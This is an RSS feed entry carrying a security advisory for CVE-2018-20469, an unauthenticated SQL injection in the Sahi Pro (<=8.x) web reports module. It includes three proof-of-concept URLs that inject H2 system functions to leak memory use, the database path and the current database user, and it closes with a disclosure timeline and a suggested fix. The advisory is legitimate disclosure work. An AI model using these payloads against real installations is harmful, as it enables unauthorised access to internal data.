<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sahi Pro(&lt;=8.x) SQL Injection Archives -</title>
	<atom:link href="https://barriersec.com/category/disclosures/sahi-pro8-x-sql-injection/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/disclosures/sahi-pro8-x-sql-injection/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:06 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Sahi Pro(&lt;=8.x) SQL Injection Archives -</title>
	<link>https://barriersec.com/category/disclosures/sahi-pro8-x-sql-injection/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>CVE-2018-20469 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:46:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.x) SQL Injection]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=549</guid>

					<description><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &#60;= 8.x ) A parameter in the web reports module is&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &lt;= 8.x )<br />
A parameter in the web reports module is vulnerable to  SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.</p>
<p>It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.</p>
<p>Proof of concept :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-552" src="https://barriersec.com/wp-content/uploads/sql_injection_3.png" alt="" width="1914" height="581" srcset="https://barriersec.com/wp-content/uploads/sql_injection_3.png 1914w, https://barriersec.com/wp-content/uploads/sql_injection_3-300x91.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_3-768x233.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_3-1024x311.png 1024w" sizes="(max-width: 1914px) 100vw, 1914px" /></p>
<p><strong>              Fig 1 : sql query is directly passed as part of GET request</strong></p>
<p>&nbsp;</p>
<p>Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.</p>
<p>As sahi is using <strong>H2 database</strong> to store the reports and other data, an end user can exploit this scenario to run <strong>h2 database system functions </strong>by manipulating the passed SQL query .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-555" src="https://barriersec.com/wp-content/uploads/sql_injection_5.png" alt="" width="1920" height="1032" srcset="https://barriersec.com/wp-content/uploads/sql_injection_5.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_5-300x161.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_5-768x413.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_5-1024x550.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>               Fig 2 : leak of memory used by sahi application ( memory_used() )</strong></p>
<p><strong>Modified URL :</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-558" src="https://barriersec.com/wp-content/uploads/sql_injection_4.png" alt="" width="1920" height="723" srcset="https://barriersec.com/wp-content/uploads/sql_injection_4.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_4-300x113.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_4-768x289.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_4-1024x386.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>           Fig 3 : leak of database path by sahi application ( database_path() )</strong></p>
<p><strong>Modified URL:</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT database_path() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-560" src="https://barriersec.com/wp-content/uploads/sql_injection_2.png" alt="" width="1915" height="988" srcset="https://barriersec.com/wp-content/uploads/sql_injection_2.png 1915w, https://barriersec.com/wp-content/uploads/sql_injection_2-300x155.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_2-768x396.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_2-1024x528.png 1024w" sizes="(max-width: 1915px) 100vw, 1915px" /></p>
<p><strong>       Fig 4 : leak of current database user by sahi application ( user() )</strong></p>
<p><strong>Modified URL: </strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT user() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p>All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .</p>
<p>Disclosure timeline :</p>
<p>disclosed on : 8/ December / 2018</p>
<p>suggested quick fix till the official patch is released : password protect web reports module</p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
